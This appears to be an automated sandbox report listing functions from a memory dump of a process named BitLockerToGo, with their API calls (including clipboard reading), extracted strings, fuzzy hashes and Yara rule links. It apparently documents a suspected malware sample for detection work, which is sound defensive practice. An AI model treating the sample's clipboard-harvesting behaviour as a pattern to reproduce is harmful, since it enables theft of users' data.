Function 02D07C60 Relevance: 9.1, APIs: 6, Instructions: 119clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 02D07C8B
GetWindowLongW.USER32 ref: 02D07CBD
GetClipboardData.USER32 ref: 02D07CCD
GlobalLock.KERNEL32 ref: 02D07CE6
GlobalUnlock.KERNEL32 ref: 02D07DC4
CloseClipboard.USER32 ref: 02D07DCC

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID:
API String ID: 2832541153-0
Opcode ID: 40e14d61589eb0e55843c2b785a8a2bd9cd1ee01880d5ad5e9a89bdd02c1b32a
Instruction ID: 2c8b9193b77c904d883ef751ef5bed07efc786772d177d89eb3de6761755b5e7
Opcode Fuzzy Hash: 40e14d61589eb0e55843c2b785a8a2bd9cd1ee01880d5ad5e9a89bdd02c1b32a
Instruction Fuzzy Hash: C8419EB0908785CEE711AB78D48836FBFF1AB01304F04882CD4EA9B791D375A958CB63

Function 02CD1293 Relevance: 7.1, Strings: 5, Instructions: 890COMMON

Download Yara Rule

Strings

0, xrefs: 02CD1D31
@, xrefs: 02CD24F5
0, xrefs: 02CD2395
0, xrefs: 02CD1F02
i, xrefs: 02CD281F

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i
API String ID: 0-3124195287
Opcode ID: d4eeb6a5683aa02b9b31c2d861db7a31c220129a65425c071eea391379ed7cff
Instruction ID: c897e630b41c2d5eaa942dd6a9ad8292d9e02bafcfeaf25fc90eafce67ebc81e
Opcode Fuzzy Hash: d4eeb6a5683aa02b9b31c2d861db7a31c220129a65425c071eea391379ed7cff
Instruction Fuzzy Hash: 9F620871A0C3418FD315CE29C49076AFBE2AFC5314F188A5DEAD987392D774DA45CB82

Function 02CFADC0 Relevance: 6.8, Strings: 5, Instructions: 533COMMON

Download Yara Rule

Strings

&]R_, xrefs: 02CFB512
4`[b, xrefs: 02CFB280
sndW, xrefs: 02CFB544, 02CFB54D
4`[b, xrefs: 02CFB0A0
SdTb, xrefs: 02CFB50A

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: &]R_$4`[b$4`[b$SdTb$sndW
API String ID: 0-702967961
Opcode ID: dec767256b323df6e8f6c4baaf9f9d6aed2c20d07fdafe7ef78b7bc70ff072a7
Instruction ID: 8c144f61e477a9b84a0f37ddd0a7bb66eceb147a846040d0804a1a84db201e16
Opcode Fuzzy Hash: dec767256b323df6e8f6c4baaf9f9d6aed2c20d07fdafe7ef78b7bc70ff072a7
Instruction Fuzzy Hash: EC12B9B1A08340ABE3608F54D890B6FBBE6FF99349F058C2CE5898B391D774D944CB52

Function 02CF02C0 Relevance: 5.7, Strings: 4, Instructions: 686COMMON

Download Yara Rule

Strings

sq, xrefs: 02CF0835
rr, xrefs: 02CF0440
US, xrefs: 02CF09AF
Q_, xrefs: 02CF09B7

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: rr$Q_$US$sq
API String ID: 0-638576893
Opcode ID: 186848c532f947108960e6e38ffb029209ad9e37c10118c7e63d1248ba49f163
Instruction ID: aba38e06ef899c499e00896b99f0021f48f94fdcb2f30dd6501723e482c57b58
Opcode Fuzzy Hash: 186848c532f947108960e6e38ffb029209ad9e37c10118c7e63d1248ba49f163
Instruction Fuzzy Hash: 3C2257B440C3809FC350EF18D881A2ABBF5AF96754F048D1CE5D89B252E379DA15CBA7

Function 02CF1280 Relevance: 5.5, Strings: 4, Instructions: 524COMMON

Download Yara Rule

Strings

ZhSj, xrefs: 02CF1323, 02CF132B
$, xrefs: 02CF15A2
ZhSj, xrefs: 02CF15EF, 02CF1437
y, xrefs: 02CF17A2

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $$ZhSj$ZhSj$y
API String ID: 0-982382964
Opcode ID: b99475ed39c6aeda1a809b72076d617b5fd70e8f06482733098f6874bf14161e
Instruction ID: b17da07da2680be7982d3336c4b813095df252985de45d360f644b475e0f91bf
Opcode Fuzzy Hash: b99475ed39c6aeda1a809b72076d617b5fd70e8f06482733098f6874bf14161e
Instruction Fuzzy Hash: 8A027A75508380ABD340EB14D880B6FBBEAEF85344F08882DF6C997251D775D919DBA3

Function 02D07DE0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 02D07E29
GetSystemMetrics.USER32 ref: 02D07E3C

Strings

, xrefs: 02D07F32

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: e510b217eb4115cdcddb8bbd3544ddae469f90c55fc43cdb0c778cab4745f8b8
Instruction ID: cb0566e23e734ce8502b6478e477877a4a38c98b91e206b3f95a1041fa332119
Opcode Fuzzy Hash: e510b217eb4115cdcddb8bbd3544ddae469f90c55fc43cdb0c778cab4745f8b8
Instruction Fuzzy Hash: 81A178B46093908BD760DF29D64878BBBE1FBA4348F00995DE8DD8B352D7749848DF82

Function 02CD84F0 Relevance: 4.1, Strings: 3, Instructions: 377COMMON

Download Yara Rule

Strings

), xrefs: 02CD856D
IEND, xrefs: 02CD892D
), xrefs: 02CD8577

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )$)$IEND
API String ID: 0-588110143
Opcode ID: 0a5d36c2539e3f19c20214c77e969635834ffb7d8fd332ac74bfbd452066542c
Instruction ID: 39af3d51c6f2289482110df4951683df35242fea18d08ff8b129e2e96576ff0e
Opcode Fuzzy Hash: 0a5d36c2539e3f19c20214c77e969635834ffb7d8fd332ac74bfbd452066542c
Instruction Fuzzy Hash: 97E1B4B1A08741AFE310CF25C84471BBBE1BF94318F044A2DEA9997381E775E916CBD2

Function 02CE2431 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 690COMMON

Download Yara Rule

APIs

Part of subcall function 02D07DE0: GetSystemMetrics.USER32 ref: 02D07E29
Part of subcall function 02D07DE0: GetSystemMetrics.USER32 ref: 02D07E3C

CoUninitialize.OLE32(?,00000001,00000001,?,?,?,00000001,00000001,00000003,00000001), ref: 02CE26C8

Strings

#2?, xrefs: 02CE2B45

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem$Uninitialize
String ID: #2?
API String ID: 1128523136-1241500918
Opcode ID: c892397ec6f8665d0f2fb5af10b76ab21e9b1d776e99d8a18ed5171735c6311f
Instruction ID: a038ece5ee6191f4427679d8066ff87398106f0a2d422019e05a661339c7a076
Opcode Fuzzy Hash: c892397ec6f8665d0f2fb5af10b76ab21e9b1d776e99d8a18ed5171735c6311f
Instruction Fuzzy Hash: F222CCB55002818FE7219F24D490B2ABBF2FF56304F28489CD4C68B742D776E956DF92

Function 02CD3570 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

Inf, xrefs: 02CD35C7
NaN, xrefs: 02CD35CE

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Inf$NaN
API String ID: 0-3500518849
Opcode ID: 96a96999979bb4f5b9d5df31ec9da0570a8c68c21c9e58d0c7ee4e051c7708e1
Instruction ID: 7fbf02dcbedaa80578efb09b25a916816f9f23a9848d87c1dda2a5de384f79f5
Opcode Fuzzy Hash: 96a96999979bb4f5b9d5df31ec9da0570a8c68c21c9e58d0c7ee4e051c7708e1
Instruction Fuzzy Hash: FBD1D472A083419BC704CF29C88061ABBE5FFC8750F258A6EE99997390E775DD45CF82

Function 02CF6890 Relevance: 2.9, Strings: 2, Instructions: 415COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CF6CC0
y'&, xrefs: 02CF6A33, 02CF6A3B

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b$y'&
API String ID: 0-3578682820
Opcode ID: a15c87b771199d5be67310511d24a8193a8b7292021ba3a3dbfca7fc26a6b3dc
Instruction ID: f67db8af9eb520a30333a9a652760083296be8c704a68a3b0d676157d147637c
Opcode Fuzzy Hash: a15c87b771199d5be67310511d24a8193a8b7292021ba3a3dbfca7fc26a6b3dc
Instruction Fuzzy Hash: 53C1E1715083009BD790AF24C881A2BB7F9EF86314F29881CEAE5C7391E335DA54DB62

Function 02D014D0 Relevance: 2.8, Strings: 2, Instructions: 326COMMON

Download Yara Rule

Strings

..9 , xrefs: 02D01643
2_k, xrefs: 02D016CF

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ..9 $2_k
API String ID: 0-4108207982
Opcode ID: c9d75d8d3584cfa3f4be8c49a72d702cb10d90f99ab2ae12119b768fba63a97f
Instruction ID: 6350391beb9626e04f9746bef72b2ea790395357cde8c82b00314ef608eaf49d
Opcode Fuzzy Hash: c9d75d8d3584cfa3f4be8c49a72d702cb10d90f99ab2ae12119b768fba63a97f
Instruction Fuzzy Hash: 90D1B770408B808BD7328F25C4907A3BBE1AF46355F548A5CD4EB4B792D739BA49CB91

Function 02CE20AC Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

[rsb, xrefs: 02CE211C
F\[R, xrefs: 02CE210E

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: F\[R$[rsb
API String ID: 0-4043967235
Opcode ID: 952d60ac5ca20f739180e96449d44868cfd8edf9fe95a1b5dae20aa5cb64f232
Instruction ID: 5381d971890480a9ed4a44627a5dd8e819f3568d731b9cd655c68a79d3877512
Opcode Fuzzy Hash: 952d60ac5ca20f739180e96449d44868cfd8edf9fe95a1b5dae20aa5cb64f232
Instruction Fuzzy Hash: 868135B01002819FDB258F29C490B26BBB1EF56348B24888DD8D68F352D736DA47CFA1

Function 02CFE457 Relevance: 2.7, Strings: 2, Instructions: 239COMMON

Download Yara Rule

Strings

MO, xrefs: 02CFE5E8
IK, xrefs: 02CFE5E1

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: IK$MO
API String ID: 0-2884483713
Opcode ID: 1a66382b2c942b0ec36bc777c01823e5fca9e1e69b99eed846bafe7066c2b76b
Instruction ID: f37d1ab6085b95a78f6d2d39fcaa123de6e71509698ce1ada053281e5a576a50
Opcode Fuzzy Hash: 1a66382b2c942b0ec36bc777c01823e5fca9e1e69b99eed846bafe7066c2b76b
Instruction Fuzzy Hash: 0271AFB480032ACBCB60CF94C850BBFBBB1FF46355F144949E996AB3A1E334A941CB55

Function 02CF8BC3 Relevance: 2.7, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

{vqa, xrefs: 02CF9DD5
)mi, xrefs: 02CF9DE3

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: )mi${vqa
API String ID: 0-1217653995
Opcode ID: c08d46633766878664ab629f4822a3f67255562f51fd894c5db368fecb394341
Instruction ID: 721dc0f2e08b8d0b10a054dde127295969e58bf26a08074e978012ff4f7d4514
Opcode Fuzzy Hash: c08d46633766878664ab629f4822a3f67255562f51fd894c5db368fecb394341
Instruction Fuzzy Hash: 9D51BB72E007158BDB91CF95C8807EFB7B2EF85310F198928C6956B391D734A945CFA0

Function 02CE301B Relevance: 2.5, Strings: 1, Instructions: 1233COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CE3077

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 18a0c6261c139b2dafc8015094fd636db4b40803b83e0d0f4efd97c367c66c94
Instruction ID: 1422ac3dd3807229416d58cc65789d2c3692cfcec6b658006d24c88fb7ff67e0
Opcode Fuzzy Hash: 18a0c6261c139b2dafc8015094fd636db4b40803b83e0d0f4efd97c367c66c94
Instruction Fuzzy Hash: A19275B4A007819FDB358F28D880B26BBF2EF4A304F1449ADD49B87B51E735B955CB90

Function 02D13430 Relevance: 1.8, Strings: 1, Instructions: 594COMMON

Download Yara Rule

Strings

f, xrefs: 02D13658

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: fab7f4302ee6a13f238d7dc2bdf6daeab90a8e89cc9c07123dffbed442e34018
Instruction ID: 249047abe597261eb0c9e93433a019f52bb5b79c3be46d414096272699d2fed5
Opcode Fuzzy Hash: fab7f4302ee6a13f238d7dc2bdf6daeab90a8e89cc9c07123dffbed442e34018
Instruction Fuzzy Hash: E212BE71608341AFD754CF18D880A2BBBE2EBC8718F588AADF89587791D731DC04CB92

Function 02CD5130 Relevance: 1.8, Strings: 1, Instructions: 530COMMON

Download Yara Rule

Strings

%1.17g, xrefs: 02CD54F0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %1.17g
API String ID: 0-1551345525
Opcode ID: 564d6ac4a6176eb9bf1e64f579638e0ae758e6f85fb3fde78b478efce5f8fd10
Instruction ID: e3d6b0240a419093ac68a310b72d41493c7c2a11ece4376a469d163994bf2eeb
Opcode Fuzzy Hash: 564d6ac4a6176eb9bf1e64f579638e0ae758e6f85fb3fde78b478efce5f8fd10
Instruction Fuzzy Hash: 0D0209B6A083418BE7258E19C44032BFBE2EFE0398F99C56DDE998B341E771D945C781

Function 02CF6630 Relevance: 1.7, APIs: 1, Instructions: 242comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(02D1CB80,00000000,00000001,02D1CB70), ref: 02CF6659

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 4b468561f77ba6bd5f489559f709e8507db9d1afd722221570fe7b55113decb9
Instruction ID: 631719434d47e6d27816a13e8a97b33b39a32df2435c67a76f65b4aac887b8aa
Opcode Fuzzy Hash: 4b468561f77ba6bd5f489559f709e8507db9d1afd722221570fe7b55113decb9
Instruction Fuzzy Hash: EC51DFB1600204ABDBA09F24CC96B7773B8EF85368F244958FA95CB390F375E945C762

Function 02D03430 Relevance: 1.7, Strings: 1, Instructions: 441COMMON

Download Yara Rule

Strings

>PFz, xrefs: 02D038AE

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: >PFz
API String ID: 0-1275006623
Opcode ID: 79725f800f0fbf78667d5e2252da664b139ae985496333cd3cf91ca1859e00b6
Instruction ID: f7950f1186d6dd8c56c1731e291a49c014794dc53e701154dc2c9d77d349649b
Opcode Fuzzy Hash: 79725f800f0fbf78667d5e2252da664b139ae985496333cd3cf91ca1859e00b6
Instruction Fuzzy Hash: F8F14E74405B808BD7328B359894BA3BBE0BF1B206F44199DD4EB9B3D3E325A805CF65

Function 02D00140 Relevance: 1.7, Strings: 1, Instructions: 401COMMON

Download Yara Rule

Strings

", xrefs: 02D00478

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 3899840dd6577e7ca3d74759588182d0d0c4f5f9147254c434b95e4f40c5f024
Instruction ID: ebf4e8690476927b0aca72fa91fa229519a6d3fa996cf29326e02b5c06141288
Opcode Fuzzy Hash: 3899840dd6577e7ca3d74759588182d0d0c4f5f9147254c434b95e4f40c5f024
Instruction Fuzzy Hash: 14C125B2A083407BD725CE24C4D4B6FB7EAAB84315F09852DE5998B3E1E734DD44C792

Function 02D17D00 Relevance: 1.6, Strings: 1, Instructions: 387COMMON

Download Yara Rule

Strings

P, xrefs: 02D17EA7

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: a830e02f5fe9769212a35483d4b11db67bc995c07a06aabb79049acd1ecb86f1
Instruction ID: 0c54d238689a14dac77e94f31d0ce62f4e0476ca5acee5eab7c0d3c73aeb8ae1
Opcode Fuzzy Hash: a830e02f5fe9769212a35483d4b11db67bc995c07a06aabb79049acd1ecb86f1
Instruction Fuzzy Hash: 5DD1F3729082649FE725CE18E49071FB7E2EB85718F168A2CE8A5AB7D0C771DC45C7C1

Function 02CDCA20 Relevance: 1.6, Strings: 1, Instructions: 353COMMON

Download Yara Rule

Strings

-, xrefs: 02CDCDFB

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: bc0346d41aa82dc48f836a2e84bded1eadd7f03e369ed267d654814e52d14c91
Instruction ID: 1a495bc08441e041fdfb501c60f3341e032f65a9631652324b4e545b16b38cf6
Opcode Fuzzy Hash: bc0346d41aa82dc48f836a2e84bded1eadd7f03e369ed267d654814e52d14c91
Instruction Fuzzy Hash: 7AC13771A0C7118BC315CF28C89026ABBE3EFC1314F198A1EE6D65B3A5D734AA45CBC1

Function 02CECBE0 Relevance: 1.6, Strings: 1, Instructions: 343COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CECEE0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: a493fac295bc14b8a8112019caaffbfb44c950fdc5e9c3460a93f1d75309ad6b
Instruction ID: 5f322f25c5b64acbf083bd886573c49ad5e36e7d19caab5cdb18bfb0e33ca91a
Opcode Fuzzy Hash: a493fac295bc14b8a8112019caaffbfb44c950fdc5e9c3460a93f1d75309ad6b
Instruction Fuzzy Hash: 4C7116B1904200EBDB20AF18DC9267B73B5FF85354F094929E9968B791F7359B10C792

Function 02D17430 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02D17650

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
Opcode ID: a031b02eccc5e4c0f6ed8faf235a455cb4fd6968c332e000cc71ac35b0e86d0f
Instruction ID: a60b574baa03082c5d9300a3ae6d68c796a2dddca0ec173170b9006f099b3f17
Opcode Fuzzy Hash: a031b02eccc5e4c0f6ed8faf235a455cb4fd6968c332e000cc71ac35b0e86d0f
Instruction Fuzzy Hash: 7DA19E71A08340ABE724DA14E880BABFBE6EF85354F548C1CF985877A1E731DD54CB92

Function 02CE0A8F Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

$'&A, xrefs: 02CE0D33, 02CE0D3B

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $'&A
API String ID: 0-4044571954
Opcode ID: ed48141c18588aadb2b32d2ec7cb7802f9db96c2b03cf61bdaacfd89971a3e69
Instruction ID: b855159043f7ace82dfa32ce9631ba71862a4487b12a2c4a6c4478ef1d7eb1a3
Opcode Fuzzy Hash: ed48141c18588aadb2b32d2ec7cb7802f9db96c2b03cf61bdaacfd89971a3e69
Instruction Fuzzy Hash: 37A1747450C381EFD7509F64E894A2FBBF4EF8A345F405C2CF986862A0C33999A5CB56

Function 02CDA660 Relevance: 1.5, Strings: 1, Instructions: 270COMMON

Download Yara Rule

Strings

,, xrefs: 02CDA796

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 129af97c038985748504d2b0268a372820b4b7d79b33b12e41ae6672a9c550e5
Instruction ID: 83fcb9e463279bd25a7fb0ac4cc5bc11abb2b8d337f2f88d4e54069cba8359b9
Opcode Fuzzy Hash: 129af97c038985748504d2b0268a372820b4b7d79b33b12e41ae6672a9c550e5
Instruction Fuzzy Hash: 0BB149712093819FD325CF28C88061BFBE0AFA9704F444E6DE5D997382D631EA18CB67

Function 02CFDE01 Relevance: 1.5, Strings: 1, Instructions: 257COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02CFE3F0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 4711e6f3502bc5c0a3bb1edd4a88a7aea634246c4c6c5089f6033841747b7938
Instruction ID: afd34dbb32889bcb876ed4aff36f263af44989e4308b8961e52fb13e285516e2
Opcode Fuzzy Hash: 4711e6f3502bc5c0a3bb1edd4a88a7aea634246c4c6c5089f6033841747b7938
Instruction Fuzzy Hash: 30718DB8D003168FDB60CF94D880BAEB7F1FF4A304F144858EA45AB3A1E735AA54CB51

Function 02D0EA50 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02D0EBB0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 863fabd038c25867fdae73cbf1ff8a22daa214b0dc3df915e7b0a8d4c25ed17f
Instruction ID: 330d552dbd180cba6a5f1fb40cd0e21b7ade2ad84631f3376771c153cf9cd92d
Opcode Fuzzy Hash: 863fabd038c25867fdae73cbf1ff8a22daa214b0dc3df915e7b0a8d4c25ed17f
Instruction Fuzzy Hash: 3451D371A48240AFE724EE64E884B3AB7E6EB99305F550C1CF5C587391D772DC24CB62

Function 02D17210 Relevance: 1.5, Strings: 1, Instructions: 202COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02D173E0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: 0c6e0f798519f765f02a846cfcf175bf4152366842918be54c0e719e87df29ea
Instruction ID: ea564d33afba250b3117cc34eb2d6d099dd33e650a63cbbc128b467fc7f104fa
Opcode Fuzzy Hash: 0c6e0f798519f765f02a846cfcf175bf4152366842918be54c0e719e87df29ea
Instruction Fuzzy Hash: 8F510A71648250ABE3259E18E890B2EF7E2FF85314F69892CE8E5577A0C331EC11C792

Function 02D12F90 Relevance: 1.4, Strings: 1, Instructions: 198COMMON

Download Yara Rule

Strings

0, xrefs: 02D130F6

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: 0
API String ID: 2994545307-4108050209
Opcode ID: ec9feadaabfc9b3b27ecf9c1fac4e33abd074786b6b14e6d48e7e6c711f5123e
Instruction ID: 7adffd2c15b62f2d6f09f99aabfbff9fc65120c440493adfa92e0f105e004991
Opcode Fuzzy Hash: ec9feadaabfc9b3b27ecf9c1fac4e33abd074786b6b14e6d48e7e6c711f5123e
Instruction Fuzzy Hash: 717114B5608340ABD764DF08E890B2BBBE6FB89304F54495CF9C587791C375E854CBA2

Function 02D184C0 Relevance: 1.4, Strings: 1, Instructions: 195COMMON

Download Yara Rule

Strings

qrs, xrefs: 02D184F3, 02D184FB

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: qrs
API String ID: 0-4213175
Opcode ID: 4dba6cb22d50bf8d36682aeadcd836cb7de4e385e078b0abf82d305925f3a70a
Instruction ID: 281b29ca0d8c8f39655e8b0cf752c85a271b2a31cff4e193ddf90d2a6caf8d4a
Opcode Fuzzy Hash: 4dba6cb22d50bf8d36682aeadcd836cb7de4e385e078b0abf82d305925f3a70a
Instruction Fuzzy Hash: C561BB75A0C240DFD354DF28E49091AB7F6FB8A311F0A88ACD98997711D338EC64DB51

Function 02D0E000 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

4`[b, xrefs: 02D0E1B0

Memory Dump Source

Source File: 00000003.00000002.1919231002.0000000002CD0000.00000040.00000400.00020000.00000000.sdmp, Offset: 02CD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2cd0000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
